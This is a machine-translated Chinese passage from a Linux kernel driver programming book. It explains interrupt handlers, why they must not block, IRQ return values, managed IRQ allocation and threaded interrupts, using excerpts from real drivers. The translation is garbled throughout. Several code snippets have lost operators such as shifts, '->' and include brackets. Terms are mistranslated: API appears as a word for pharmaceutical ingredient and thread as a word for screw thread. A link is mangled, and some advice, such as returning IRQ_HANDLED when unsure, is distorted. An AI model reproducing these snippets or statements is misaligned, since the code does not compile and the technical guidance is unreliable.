不要阻塞–发现可能阻塞的代码路径 - -这实际上归结为一个事实,当你处于中断或原子环境中时,不要做任何会称之为`schedule()` *的事情。*现在,让我们看看如果我们的中断处理程序的伪代码看起来像这样会发生什么: - -```sh -my_interrupt() -{ - struct mys *sp; - ack_intr(); - x = read_regX(); - sp = kzalloc(SIZE_HWBUF, GFP_KERNEL); - if (!sp) - return -ENOMEM; - sp = fetch_data_from_hw(); - copy_to_user(ubuf, sp, count); - kfree(sp); -} -``` - -你在这里发现了巨大的潜在(虽然可能还是微妙的)bug 吗?(在继续下一步之前,花点时间找出它们。) - -首先,用`GFP_KERNEL`标志调用`kzalloc()`可能会导致其内核代码调用`schedule()`!如果是这样,这将导致“哎呀”,这是一个内核错误。在典型的生产环境中,这会导致内核死机(因为在生产中名为`panic_on_oops`的*系统通常设置为`1`;做`sysctl kernel.panic_on_oops`会显示当前设置)。接下来,`copy_to_user()`调用可能导致页面错误,因此需要上下文切换,这当然会调用`schedule()`;这在原子或中断上下文中是不可能的——同样是一个严重的错误!* - -因此,更一般地说,让您的中断处理程序调用一个函数`a()`,其中`a()`的调用链如下: - -```sh - a() -- b() -- c() -- [...] -- g() -- schedule() -- [...] -``` - -在这里,你可以看到调用`a()`最终导致`schedule()`被调用,正如我们刚才指出的,这将导致一个“哎呀”,这是一个内核错误。所以,这里的问题是,你这个驱动开发者,怎么知道当你调用`a()`时,会导致`schedule()`被调用?关于这一点,您需要了解和利用几点: - -* (如配套指南 *Linux 内核编程-* *第 8 章*、*模块作者的内核内存分配–第 1 部分*中所述)您可以提前发现您的内核代码是否会进入原子或中断上下文的一种方法是直接查看内核。当您配置内核时(同样,如配套指南 *Linux 内核编程中所见,*从 *Linux 内核编程-* *第 2 章*、*从源代码构建 5.x Linux 内核–第 1 部分*中回忆`make menuconfig`,您可以打开内核配置选项来帮助您准确发现这种情况。看看内核黑客/锁定调试菜单。在那里,您将在原子部分检查中找到一个名为 Sleep 的布尔可调参数。打开它! - -The config option is named `CONFIG_DEBUG_ATOMIC_SLEEP`; you can always grep your kernel's config file for it. As seen in the companion guide *Linux Kernel Programming -* *Chapter 5,* *Writing Your First Kernel Module - LKMs Part 2*, in the *Configuring a debug kernel* section, we specified that this option should be turned ON! - -* 接下来(这个有点迂腐,但是会对你有帮助!),养成查找相关函数的内核文档的习惯(更好的方法是,简单地查找它的代码)。这是一个阻塞调用的事实通常会在注释头中记录或指定。 -* 内核有一个名为`might_sleep()`的助手宏;对于这些情况,它是一个有用的调试工具!下面的截图(来自内核源码,`include/linux/kernel.h`)解释的很清楚: - -![](img/12db57d4-3c8a-457e-877b-6ed082d76051.png) - -Figure 4.2 – The comment for might_sleep() is helpful - -同样,内核提供了帮助宏,如`might_resched()`、`cant_sleep()`、`non_block_start()`、`non_block_end()`等。 - -* 为了提醒您,我们在配套指南 *Linux 内核编程、* *第 8 章,模块作者的内核内存分配第 1 部分**处理 GFP 标志*一节(以及其他部分)中提到了几乎相同的事情——关于不在原子上下文中阻塞。此外,我们还向您展示了有用的 LDV 项目(在配套指南 *Linux 内核编程*、*第 1 章内核工作空间设置*中的*LDV-Linux 驱动程序验证项目*一节中提到)如何捕获并修复内核和驱动程序模块代码中的几个此类违规。 - -在这一节的开始,我们提到,通常,休眠的用户空间读取器会在数据到达时阻塞。它的到达通常由硬件中断发出信号。然后,您的中断处理程序例程将数据提取到内核 VAS 缓冲区,并唤醒睡眠者。嘿,这不是不允许的吗?否–本质上`wake_up*()`API 是非阻塞的。你需要明白的是,它们只会将进程(或线程)的状态从睡眠状态(T1)切换到清醒状态,准备运行(T2)。这不会调用计划程序;内核将在下一个机会点这样做(我们在配套指南 *Linux 内核编程、* *第 10 章*、*CPU 调度程序–第 1 部分*、以及 *第 11 章*、*CPU 调度程序–第 2 部分*)中讨论了 CPU 调度。 - -### 中断屏蔽–默认值及其控制 - -回想一下,中断控制器芯片(PIC/GIC)将有一个屏蔽寄存器。OS 可以对其进行编程**根据需要屏蔽或阻塞硬件中断**(当然,有些中断可能是不可屏蔽的;**不可屏蔽中断** ( **NMI** )是我们在本章后面讨论的一个典型案例。 - -不过,重要的是要认识到,尽可能保持中断启用(不屏蔽)是衡量操作系统质量的一个重要标准!为什么?如果中断被阻止,外围设备将无法响应,系统性能将会滞后或受到影响(只需按下并释放一个键盘键就会导致两个硬件中断)。您必须尽可能长时间地启用中断。使用 spinlock 锁定将导致中断和抢占被禁用!保持关键部分的简短(我们将在本书的最后两章深入讨论锁定)。 - -接下来,谈到 Linux 操作系统上的默认行为,当硬件中断发生并且该中断没有被屏蔽时(总是默认的),假设它是 IRQn(其中 *n* 是 IRQ 号),**内核确保当它的中断(hardirq)处理程序执行时,处理程序正在执行的本地 CPU 内核上的所有中断都被禁用,并且所有 CPU 上的 IRQn 都被禁用**。因此,您的处理程序代码本质上是可重入安全的。这很好,因为它意味着您永远不必担心以下问题: - -* 屏蔽会打断你自己 -* 何时在 CPU 内核上自动运行,直到完成且没有中断 - -As we'll see later, a bottom-half can still be interrupted by a top-half, thus necessitating locking. - -例如,当 IRQn 在 CPU 核心 1 上执行时,除了核心 1 之外,其他中断在所有 CPU 核心上保持启用(未屏蔽)。因此,在多核系统硬件上,中断可以在不同的 CPU 内核上并行运行。这很好,只要他们不互相踩对方的脚趾,就全球数据而言!如果他们这样做了,您将不得不使用锁定,这将在本书的最后两章中详细介绍。 - -再者,在 Linux 上,**所有中断都是对等的**,所以它们之间没有优先级;换句话说,它们都以相同的优先级运行。只要它没有被屏蔽,任何硬件中断都可以在任何时间点中断系统;中断甚至可以中断中断!然而,他们通常不做后者。这是因为,正如我们刚刚了解到的,当一个中断 IRQn 在一个 CPU 内核上运行时,该内核上的所有中断都被禁用(屏蔽),并且 IRQn 被全局禁用(跨所有内核),直到它完成;唯一的例外是 NMI。 - -### 保持快速 - -中断是指:它中断机器的正常工作;这是一个必须容忍的烦恼。必须保存上下文,必须执行处理程序(连同下半部分,我们将在*理解和使用上半部分和下半部分*部分中讨论),然后必须将上下文恢复到中断的内容。所以,你得到了这样的想法:这是一个关键的代码路径,所以不要费力——要快速和无阻塞! - -这也带来了一个问题,多快才算快?答案当然是依赖于平台的,但一个启发是这样的:尽可能快地进行中断处理,**在几十微秒内**。如果持续超过 100 微秒,那么就需要替代策略。我们将在本章后面介绍当这种情况发生时您可以做什么。 - -关于我们简单的`my_interrupt()`伪代码片段(显示在*不要阻塞–发现可能阻塞的代码路径*部分),首先,问问你自己,我真的必须在关键的非阻塞的需要快速执行的代码路径(如中断处理程序)中分配内存吗?你能设计模块/驱动程序来更早地分配内存(并且只使用指针)吗? - -同样,现实情况是,有时需要做大量的工作来正确地服务中断(网络/块驱动程序就是很好的例子)。我们将介绍一些我们可以用来处理这个问题的典型策略。 - -## 编写中断处理程序例程本身 - -现在,让我们快速学习它的机械部分。硬件中断处理程序例程(通常称为 **hardirq** 例程)的签名如下: - -```sh -static irqreturn_t interrupt_handler(int irq, void *data); -``` - -当您的驱动程序(通过`request_irq()`或朋友应用编程接口)感兴趣的硬件 IRQ 被触发时,内核的通用 IRQ 层会调用中断处理程序例程。它接收两个参数: - -* 第一个参数是 IRQ 行(整数)。触发此事件会导致调用此处理程序。 -* 第二个参数是通过最后一个参数传递给`request_irq()`的值。正如我们前面提到的,通常是驱动程序的专用设备结构嵌入了驱动程序上下文或私有数据。正因为如此,它的数据类型是通用的`void *`,允许`request_irq()`传递任何类型,在处理程序例程中适当地进行类型转换并使用它。 - -处理程序是常规的 C 代码,但是有我们在前面部分提到的所有警告!注意遵循这些指导方针。虽然细节是特定于硬件的,但通常情况下,中断处理程序的首要责任是清除板上的中断,实际上是确认它并尽可能多地告诉 PIC。这通常通过将一些特定位写入电路板或控制器上的特定硬件寄存器来实现;请阅读您的特定芯片、芯片组或硬件设备的数据手册,找出答案。在这里,`in_irq()`宏将返回`true`,通知您您的代码当前处于 hardirq 上下文中。 - -处理程序完成的其余工作显然是非常特定于设备的。例如,输入驱动程序会想要扫描刚刚从某个寄存器或外围存储器位置按下或释放的键码(或触摸屏坐标或鼠标键/移动或其他任何东西),并可能将其保存在某个存储器缓冲区中。或者,它可能会立即将它向上传递到堆栈上方的通用输入层。我们不会试图在这里深究这些细节。同样,驱动程序框架是您需要了解的驱动程序类型;这超出了本书的范围。 - -从 hardirq 处理程序返回的值是多少?`irqreturn_t`返回值为`enum`,如下所示: - -```sh -// include/linux/irqreturn.h - -/** - * enum irqreturn - * @IRQ_NONE interrupt was not from this device or was not handled - * @IRQ_HANDLED interrupt was handled by this device - * @IRQ_WAKE_THREAD handler requests to wake the handler thread - */ -enum irqreturn { - IRQ_NONE = (0 0), - IRQ_HANDLED = (1 0), - IRQ_WAKE_THREAD = (1 1), -}; - -``` - -前面的注释标题清楚地指出了它的含义。本质上,通用的 IRQ 框架坚持如果你的驱动处理了中断,你就返回`IRQ_HANDLED`值。如果中断不是你的或者你不能处理它,你应该返回`IRQ_NONE`值。(这也有助于内核检测虚假中断。如果你不知道这是否是你的打扰,只需返回`IRQ_HANDLED`。)下面我们来看看`IRQ_WAKE_THREAD`是如何使用的。 - -现在,让我们再看一些代码!在下一节中,我们将检查两个驱动程序的硬件中断处理程序代码(我们在本章和上一章中已经看到了这些代码)。 - -### 代码视图 2–I 8042 驱动程序的中断处理程序 - -在前一章[第三章](3.html)*使用硬件 I/O 内存*中,在 *A PIO 示例–i8042*部分,我们学习了 i8042 设备驱动程序如何使用一些非常简单的助手例程在 I 8042 芯片的 I/O 端口上执行 I/O(读/写)(这通常是 x86 系统上的键盘/鼠标控制器)。下面的代码片段显示了它的硬件中断处理程序例程的一些代码;您可以清楚地看到它同时读取状态和数据寄存器: - -```sh -// drivers/input/serio/i8042.c -/* - * i8042_interrupt() is the most important function in this driver - - * it handles the interrupts from the i8042, and sends incoming bytes - * to the upper layers. - */ -static irqreturn_t i8042_interrupt(int irq, void *dev_id) -{ - unsigned char str, data; - [...] - str = i8042_read_status(); - [...] - data = i8042_read_data(); - [...] - if (likely(serio && !filtered)) - serio_interrupt(serio, data, dfl); - out: - return IRQ_RETVAL(ret); -} -``` - -在这里,`serio_interrupt()`调用是这个驱动程序如何将它从硬件读取的数据传递到上面的“输入”层,后者将进一步处理它,并最终准备好供用户空间进程使用。(请看本章末尾的*提问*部分;您可以尝试的练习之一是编写一个简单的“键记录器”设备驱动程序。) - -### 代码视图 3–IXGB 网络驱动程序的中断处理程序 - -我们再来看一个例子。在这里,我们看一下英特尔 IXGB 以太网适配器设备驱动程序的硬件中断处理程序,我们之前提到过: - -```sh -// drivers/net/ethernet/intel/ixgb/ixgb_main.c -static irqreturn_t -ixgb_intr(int irq, void *data) -{ - struct net_device *netdev = data; - struct ixgb_adapter *adapter = netdev_priv(netdev); - struct ixgb_hw *hw = &adapter-hw; - u32 icr = IXGB_READ_REG(hw, ICR); - - if (unlikely(!icr)) - return IRQ_NONE; /* Not our interrupt */ - [...] - if (napi_schedule_prep(&adapter-napi)) { - [...] - IXGB_WRITE_REG(&adapter-hw, IMC, ~0); - __napi_schedule(&adapter-napi); - } - return IRQ_HANDLED; -} -``` - -在前面的代码片段中,请注意驱动程序如何从作为第二个参数接收的`net_device`结构(网络设备的专用结构)获得对其私有(或上下文)元数据结构(`struct ixgb_adapter`)的访问;这是非常典型的。(这里,用于从通用`net_device`结构中提取驾驶员私有结构的`netdev_priv()`助手有点类似于众所周知的`container_of()`助手宏。事实上,这个帮手也经常被用在类似的情况下。) - -接下来,它通过`IXGB_READ_REG()`宏执行外围输入/输出内存读取(它使用 MMIO 方法——关于 MMIO 的详细信息,请参见上一章;`IXGB_READ_REG()`是一个宏,调用我们在上一章中介绍的`readl()`应用编程接口——执行 32 位 MMIO 读取的旧风格例程。不要错过这里的关键点:这是驱动程序如何确定中断是否是为它准备的,因为,回想一下,这是一个共享中断!如果这是为了它(可能的情况),它继续它的工作;由于这个适配器支持 NAPI,驱动程序现在安排轮询的 NAPI 读取,在网络数据包进入时吸收它们,并将其发送到网络协议栈进行进一步处理(嗯,其实没那么简单;实际的内存传输工作将通过 DMA 执行)。 - -现在,一个转移但很重要的转移:你需要学习如何以现代方式分配 IRQ 线路——通过`devm_*`API。这就是所谓的管理方法。 - -## IRQ 分配——现代方式——管理中断设施 - -许多现代驱动程序出于各种目的使用内核的 *devres* 或托管 API 框架。现代 Linux 内核中的托管 API 为您提供了不必担心释放您分配的资源的优势(我们已经介绍了其中的一些,包括`devm_k{m,z}alloc()`和`devm_ioremap{_resource}()`)。当然,您必须适当地使用它们,通常是在驱动程序的探测方法(或`init`代码)中。 - -建议在编写驱动程序时,使用这种更新的应用编程接口风格。在这里,我们将向您展示如何使用`devm_request_irq()`应用编程接口来分配(注册)您的硬件中断。其签名如下: - -```sh -#include - -int __must_check -devm_request_irq(struct device *dev, unsigned int irq, irq_handler_t handler, - unsigned long irqflags, const char *devname, void *dev_id); -``` - -第一个参数是指向设备的`device`结构的指针(正如我们在[第 1 章](1.html)、*编写简单的杂项字符设备驱动程序*中看到的,必须通过注册到适当的内核框架来获得)。其余五个参数与`request_irq()`相同;我们在这里不再重复。关键是,一旦注册,你就不用打电话给`free_irq()`;内核将根据需要自动调用它(在驱动程序移除或设备分离时)。这极大地帮助我们开发人员避免了常见和臭名昭著的泄漏类型错误。 - -为了帮助阐明它的用途,让我们快速看一个例子。以下是来自 V4L 电视调谐器驱动程序的一段代码: - -```sh -// drivers/gpu/drm/exynos/exynos_mixer.c -[...] - res = platform_get_resource(mixer_ctx->pdev, IORESOURCE_IRQ, 0); - if (res == NULL) { - dev_err(dev, "get interrupt resource failed.\n"); - return -ENXIO; - } - - ret = devm_request_irq(dev, res->start, mixer_irq_handler, - 0, "drm_mixer", mixer_ctx); - if (ret) { - dev_err(dev, "request interrupt failed.\n"); - return ret; - } - mixer_ctx-irq = res->start; -[...] -``` - -正如我们在[第 3 章](3.html)、*中看到的获取 MMIO 的物理地址使用硬件输入/输出内存*,在*获取设备资源*部分,这里,相同的驱动程序使用`platform_get_resource()`应用编程接口提取 IRQ 号(用`IORESOURCE_IRQ`指定资源类型作为 IRQ 行)。一旦有了它,它就发布`devm_request_irq()`应用编程接口来分配或注册中断!因此,正如预期的那样,在该驱动程序中搜索`free_irq()`不会产生任何结果。 - -接下来,我们将学习什么是线程中断,如何使用线程中断,以及更重要的是,它的*为什么*。 - -# 使用线程中断模型 - -正如在配套指南 *Linux 内核编程-* *第 11 章**CPU 调度器–第 2 部分*中看到的,在*将主线 Linux 转换为 RTOS* 部分,我们介绍了 Linux (RTL)的实时补丁,它允许您将 Linux 作为 RTOS 进行补丁、配置、构建和运行!如果你对此不清楚,请回头参考。我们在这里不再重复同样的信息。 - -**实时 Linux***(**【RTL】**)项目的工作已经稳定地移植到主线 Linux 内核中。RTL 做出的关键改变之一是将**线程中断**功能合并到主线内核中。这发生在内核版本 2 . 6 . 30(2009 年 6 月)中。这项技术做了一些乍一看似乎很奇怪的事情:它将硬件中断处理程序“转换”为内核线程。* - - *您将在下一章中了解到,内核线程实际上非常类似于用户模式线程——它独立运行,在进程上下文中,并且有自己的任务结构(因此有自己的 PID、TGID 等),这意味着它可以被调度;也就是说,当处于可运行状态时,它会与其他竞争线程竞争在一个 CPU 内核上运行。关键区别在于,用户模式线程总是有两个地址空间——它所属的进程 VAS(用户空间)和内核 VAS,当它发出系统调用时,它会切换到内核 VAS。另一方面,内核线程纯粹在内核空间中运行,没有用户空间的视图;它只看到它总是在其中执行的内核 VAS (技术上,它的`current-mm`值总是`NULL`!). - -那么,如何决定是否应该使用线程中断呢?在这变得完全清楚之前,我们需要覆盖更多的主题(对于那些不耐烦的人,这里有一个简短的答案:当(作为一个快速启发式)中断工作需要超过 100 微秒时,使用线程中断处理程序;向前跳到*hardirks、小任务、线程处理程序–当*部分使用什么,并查看那里的表格快速查看)。 - -现在,让我们通过检查可用的 API 来学习如何使用线程中断模型——包括常规的和托管的。然后,我们将学习如何使用托管版本以及如何在驱动程序中使用它。在这之后,我们将看看它的内部实现,并深入研究它的原因。 - -## 采用线程中断模型——应用编程接口 - -为了理解线程中断模型的内部工作方式,让我们来看看相关的 API。我们已经介绍了使用`request_irq()`应用编程接口。让我们看看它的实现: - -```sh -// include/linux/interrupt.hstatic inline int __must_check -request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, const char *name, void *dev) -{ - return request_threaded_irq(irq, handler, NULL, flags, name, dev); -} -``` - -这个应用编程接口只是`request_threaded_irq()`应用编程接口的一个薄薄的包装!其签名如下: - -```sh -int __must_check -request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, - unsigned long flags, const char *name, void *dev); -``` - -除第三个参数外,其他参数与`request_irq()`相同。以下是需要注意的几个要点: - -* `irq_handler_t handler`:第二个参数是指向通常的中断处理函数的指针。我们现在称它为主处理器。如果它为空并且`thread_fn`(第三个参数)为非空,则(内核的)默认主处理程序会自动安装(如果您对这个默认主处理程序感到疑惑,我们将在*内部实现线程中断*一节中更详细地介绍它)。 -* `irq_handler_t thread_fn`:第三个参数是线程中断函数的指针;API 行为取决于您是否将此参数作为 null 传递: - * 如果它是非空的,那么中断的实际服务由这个函数执行。它在专用内核线程的上下文(进程)中运行——这是一个线程中断! - * 如果为空,这是调用`request_irq()`时的默认值,则只运行主处理程序,不创建内核线程。 - -如果指定了主处理程序(第二个参数),它将在所谓的 **hardirq** 或硬中断上下文中运行(如`request_irq()`的情况)。如果主处理程序为非空,那么您需要编写它的代码,并(至少)在其中执行以下操作: - -* 验证中断是否适合您;如果不是,返回`IRQ_NONE`。 -* 如果适合您,您可以清除和/或禁用板/设备上的中断。 -* 返回`IRQ_WAKE_THREAD`;这将导致内核唤醒代表线程中断处理程序的内核线程。内核线程的名称将采用`irq/irq#-name`格式。这个内核线程现在将在内部调用`thread_fn()`函数,在那里您执行实际的中断处理工作。 - -另一方面,如果主处理程序为空,那么当中断触发时,只有您的线程处理程序——由第三个参数指定的函数——将由操作系统作为内核线程自动运行**。** - -与`request_irq()`一样,`request_threaded_irq()`的返回值是一个整数,遵循通常的`0/-E`内核约定:成功时为`0`,失败时为负值`errno`。你应该检查一下。 - -## 采用托管线程中断模型——推荐的方法 - -同样,使用托管应用编程接口来分配线程中断将是现代驱动程序的推荐方法。内核为此提供了`devm_request_threaded_irq()`应用编程接口: - -```sh -#include linux/interrupt.h - -int __must_check - devm_request_threaded_irq(struct device *dev, unsigned int irq, - irq_handler_t handler, irq_handler_t thread_fn, - unsigned long irqflags, const char *devname, - void *dev_id); -``` - -除了第一个参数(指向设备结构的指针)之外,所有参数都与`request_threaded_irq()`相同。这样做的主要优点是,您不需要担心释放 IRQ 线路。内核将在设备分离或驱动程序移除时自动释放它,就像我们在`devm_request_irq()`中学到的那样。与`request_threaded_irq()`一样,`devm_request_threaded_irq()`的返回值是一个整数,遵循通常的`0/-E`内核惯例:成功时为`0`,失败时为负 errno 值;你应该检查一下。 - -Don't forget! Using the managed `devm_request_threaded_irq()` API is the modern recommended approach for allocating a threaded interrupt. However, note that it won't always be the right approach; see the *Constraints when using a threaded handler* section for more information. - -线程中断处理函数的签名与 hardirq 中断处理函数的签名相同: - -```sh -static irqreturn_t threaded_handler(int irq, void *data); -``` - -这些参数也有相同的含义。 - -线程中断通常使用`IRQF_ONESHOT`中断标志;`include/linux/interrupt.h`中的内核注释描述得最好: - -```sh - * IRQF_ONESHOT - Interrupt is not reenabled after the hardirq handler finished. - * Used by threaded interrupts which need to keep the - * irq line disabled until the threaded handler has been run. -``` - -事实上,内核**坚持当你的驱动程序包含一个线程处理程序并且主处理程序是内核默认的时候,你使用**`IRQF_ONESHOT`标志。当等级触发中断发生时,不使用`IRQF_ONESHOT`标志将是致命的。为了安全起见,内核会抛出一个错误——当这个标志不在`irqflags`位掩码参数中时——甚至对于边缘触发也是如此。如果你好奇的话,`kernel/irq/manage.c:__setup_irq()`的代码只检查这个(链接:[https://酏. boot in . com/Linux/v 5.4/source/kernel/IRQ/manage . c # l 1486](https://elixir.bootlin.com/linux/v5.4/source/kernel/irq/manage.c#L1486))。 - -A kernel parameter called `threadirqs` exists that you can pass to the kernel command line (via the bootloader). This force threads all the interrupt handlers except those marked explicitly as `IRQF_NO_THREAD`*.* To find out more about this kernel parameter, go to [https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html). - -在下面的小节中,我们将看一下 Linux 驱动程序的 STM32 微控制器之一。在这里,我们将重点关注中断分配是如何通过我们刚刚介绍的“托管”应用编程接口来完成的。 - -### 代码视图 4–STM 32 F7 微控制器的线程中断处理器 - -STM32 F7 是 STMicroelectronics 基于 ARM-Cortex M7F 内核制造的一系列微控制器的一部分: - -![](img/beaa7b0f-7523-4633-8ba4-0fcc9a157cb2.png) - -Figure 4.3 – The STM32F103 microcontroller pinout with some I2C pins highlighted (see the lower left) Image Credit: The preceding image, which has been slightly added to by myself, has been taken from [https://www.electronicshub.org/wp-content/uploads/2020/02/STM32F103C8T6-Blue-Pill-Pin-Layout.gif](https://www.electronicshub.org/wp-content/uploads/2020/02/STM32F103C8T6-Blue-Pill-Pin-Layout.gif). Image by Rasmus Friis Kjekisen. This image falls under Creative Commons CC BY-SA 1.0 ([https://creativecommons.org/licenses/by-sa/1.0/](https://creativecommons.org/licenses/by-sa/1.0/)). - -Linux 内核通过各种驱动程序和 DTS 文件支持 STM32 F7。在这里,我们将看一下这个微控制器的 I2C 总线驱动程序(`drivers/i2c/busses/i2c-stm32f7.c`)的一小部分代码。它分配两个硬件中断: - -* 事件 IRQ 线路,通过`devm_request_threaded_irq()`应用编程接口 -* 错误 IRQ 线,通过`request_irq()`应用编程接口 - -如所料,分配 IRQ 行的代码在其探测方法中: - -```sh -// drivers/i2c/busses/i2c-stm32f7.c -static int stm32f7_i2c_probe(struct platform_device *pdev) -{ - struct stm32f7_i2c_dev *i2c_dev; - const struct stm32f7_i2c_setup *setup; - struct resource *res; - int irq_error, irq_event, ret; - - [...] - irq_event = platform_get_irq(pdev, 0); - [...] - irq_error = platform_get_irq(pdev, 1); - [...] - ret = devm_request_threaded_irq(&pdev->dev, irq_event, - stm32f7_i2c_isr_event, - stm32f7_i2c_isr_event_thread, - IRQF_ONESHOT, - pdev->name, i2c_dev); - [...] - ret = devm_request_irq(&pdev->dev, irq_error, stm32f7_i2c_isr_error, 0, - pdev->name, i2c_dev); -``` - -让我们关注对`devm_request_threaded_irq()`的调用。第一个参数是指向设备结构的指针。由于这是一个平台驱动程序(通过`module_platform_driver`包装宏注册),它的探测方法接收`struct platform_device *pdev`参数;`device`结构就是从中提取出来的。第二个参数是要分配的 IRQ 行。同样,正如我们已经看到的,它是通过一个助手例程提取的。这里,这是`platform_get_irq()`原料药。 - -第三个参数指定主处理程序;那是哈迪克。由于它是非空的,当 IRQ 被触发时,这个例程将被调用。它对设备和 I2C 传输执行特定于硬件的验证,如果一切正常,它将返回`IRQ_WAKE_THREAD`值。这唤醒了线程中断例程,第四个参数,函数`stm32f7_i2c_isr_event_thread()`在进程上下文中作为内核线程运行!设置为`IRQF_ONESHOT`的`irqflags`参数是线程处理程序的典型参数;它指定在线程处理程序完成之前,IRQ 行保持禁用状态(不仅仅是 hardirq)。线程处理例程完成工作,并在完成后返回`IRQ_HANDLED`。 - -由于错误 IRQ 行是通过`devm_request_irq()` API 分配的,并且因为我们已经介绍了如何使用该 API(参考 *IRQ 分配-现代方式-托管中断设施*部分),我们在此不再重复任何相关信息。 - -现在,让我们看看内核如何在内部实现线程中断模型。 - -## 内部实现线程中断 - -正如我们前面提到的,如果主处理程序为空,并且线程函数为非空,内核将使用默认的主处理程序。这个函数被称为`irq_default_primary_handler()`,它所做的只是返回`IRQ_WAKE_THREAD`值,从而唤醒(并使其可调度)内核线程。 - -此外,运行您的`thread_fn`例程的实际内核线程是在`request_threaded_irq()`应用编程接口的代码中创建的。调用图(从 5.4.0 版的 Linux 内核开始)如下: - -```sh - kernel/irq/manage.c:request_threaded_irq() -- __setup_irq() -- - setup_irq_thread() -- kernel/kthread.c:kthread_create() -``` - -`kthread_create()` API 的调用如下。在这里,您可以清楚地看到新内核线程名称的格式将是怎样的`irq/irq#-name`格式: - -```sh -t = kthread_create(irq_thread, new, "irq/%d-%s", irq, new->name); -``` - -这里(我们不显示代码),新的内核线程被编程为设置为`SCHED_FIFO`调度策略和`MAX_USER_RT_PRIO/2`实时调度优先级,其通常具有值`50`(范围`SCHED_FIFO`从`1`到`99`,`MAX_USER_RT_PRIO`是`100`)。我们将在*中讨论为什么这很重要,为什么要使用线程中断?*节。如果您不确定线程调度策略及其优先级,请参考配套指南 *Linux 内核编程-* *第 10 章*、*CPU 调度器–第 1 部分*、*POSix 调度策略*部分。 - -内核管理这个内核线程,代表整个线程中断处理程序。正如我们已经看到的,它通过`[devm_]request_threaded_irq()` API 在 IRQ 分配上创建它;然后,内核线程简单地休眠。每当被分配的 IRQ 被触发时,它被内核按需唤醒;当`free_irq()`被调用时,内核会将其销毁。目前不要担心细节;我们将在下一章讨论内核线程和其他有趣的主题。 - -到目前为止,虽然您已经学习了如何使用线程中断模型,但还没有清楚地解释为什么(以及何时)您应该使用线程中断模型。下一节将详细介绍这一点。 - -## 为什么要使用线程中断? - -通常被问到的一个关键问题是,当常规 hardirq 类型的中断存在时,我为什么要使用线程中断?完整的答案有点敷衍;以下是主要原因: - -* 真正做到实时。 -* 它消除/减少了软件瓶颈。由于线程处理程序实际上是在进程上下文中运行它的代码,所以它不像 hardirq 处理程序那样是一个关键的代码路径;因此,中断处理可能需要更长的时间。 - -In a nutshell, as a quick rule of thumb, **when the interrupt handling consistently takes over 100 microseconds, use the threaded interrupt model** (see the table in *Hardirqs, tasklets, threaded handlers – what to use when* section). - -在接下来的小节中,我们将详细介绍这些要点。 - -### 线程中断–真正做到实时 - -这是一个关键点,需要一些解释。 - -标准 Linux 操作系统上的优先级从最高到最低如下(我们将在每个项目符号后面加上它运行的*上下文*;它要么是进程,要么是中断。如果你在这一点上不清楚,理解这一点非常重要;有关更多信息,请参考配套指南 *Linux 内核编程-* *第 6 章*、*内核内部要素–进程和线程*、*理解进程和中断上下文*部分: - -* **硬件中断**:这些先发制人。hardirq 处理程序在 CPU 上自动运行(直到完成,没有中断);`context:interrupt`。 - -* **实时线程**(即`SCHED_FIFO`或`SCHED_RR`调度策略),包括内核和用户空间,实时优先级为正(`rtprio`);`context:process`: - * 具有相同实时优先级(`current-rtprio`)的内核线程比具有相同实时优先级的用户空间线程获得轻微的优先级提升。 -* **处理器异常**:这包括系统调用(它们确实是同步异常;比如 x86 上的`syscall`、ARM 上的`SWI`),页面故障、保护故障等等;`context:process` *。* -* **用户模式线程**:默认使用`SCHED_OTHER`调度策略,使用`0`的`rtprio`;`context:process` *。* - -下图显示了 Linux 上的相对优先级(这个图有点简单;稍后通过*图 4.10* 和*图 4.11* 可以看到更精细的图表: - -![](img/9decdc81-d105-45f1-8e71-a471632f4fc5.png) - -Figure 4.4 – Relative prioritization on the standard Linux OS - -假设您正在开发一个实时多线程应用。在进程内存在的几十个线程中,有三个(为了简单起见,我们称之为线程 A、B 和 C)被认为是关键的“实时”线程。相应地,您让应用分别为线程 A、B 和 C 授予`SCHED_FIFO`和 30、45 和 60 的实时优先级的调度策略(如果您对这几点不清楚,请参考配套指南 *Linux 内核编程- 第 10 章*、*CPU 调度器-第 1 部分*和 *第 11 章*、*CPU 调度器-第 2 部分*,关于 CPU 调度)。由于这是一个实时应用,这些线程完成工作的最长时间被缩短了。换句话说,*期限是存在的;*对于我们的示例场景,假设线程 B 完成工作的**最坏情况截止时间**为 12 毫秒。 - -现在,就相对优先级而言,这将如何工作?为了简单起见,假设系统只有一个 CPU 内核。现在,另一个线程 X(使用调度策略`SCHED_OTHER`运行,实时优先级为`0`,这是默认的调度策略/优先级值)当前正在 CPU 上执行代码。但是,如果任何实时线程正在等待的“事件”发生,它将抢占当前正在执行的线程并运行。这是意料之中的事;回想一下,实时调度的基本规则非常简单:*最高优先级的可运行线程必须是正在运行的线程*。好吧。那很好。现在,我们需要考虑硬件中断。我们已经看到,硬件中断的优先级最高。这意味着它会抢占任何东西,包括你的(所谓的)实时线程(见上图)! - -假设中断处理需要 200 微秒;在 Linux 这样的丰富操作系统上,这并不算太糟糕。然而,在这种情况下,五次硬件中断将消耗 1 毫秒;如果设备变得繁忙(例如,许多传入的数据包)并以连续流的形式发出例如 20 个硬件中断怎么办?这肯定会被优先考虑,并且会消耗(至少)4 毫秒!您的实时线程肯定会在中断处理运行时被抢占,并且无法获得所需的 CPU,直到为时已晚!(12 毫秒)的最后期限将早已过去,系统将会失败(如果你的应用是真正的实时应用,这可能是灾难性的)。 - -下图从概念上表示了这个场景(为了简洁明了,我们只展示了我们的一个用户空间`SCHED_FIFO`实时线程;即`rtprio` 45 处的螺纹 B: - -![](img/2d7f4c41-b170-4c4c-b628-2b63b473f6ff.png) - -Figure 4.5: The hardirq model – a user mode RT SCHED_FIFO thread interrupted by a hardware interrupt flood; deadline missed - -实时线程 B 被描述为从时间`t0`开始运行(在 x 轴上;y 轴代表实时优先级;螺纹 B 的`rtprio`为 45°;它有 12 毫秒(一个艰难的期限)来完成它的工作。然而,假设 6 毫秒后(在时间`t1`处),硬件中断触发。 - -在*图 4.5* 中,我们没有显示执行的低级中断设置代码。现在硬件中断在时间`t1`触发,导致中断处理程序被调用;也就是 hardirq(在上图中显示为大的黑色垂直双箭头)。很明显,硬件中断抢占了线程 b,现在假设执行需要 200 微秒;这并不多,但是如果大量的中断(比如 20 个中断,从而消耗掉 4 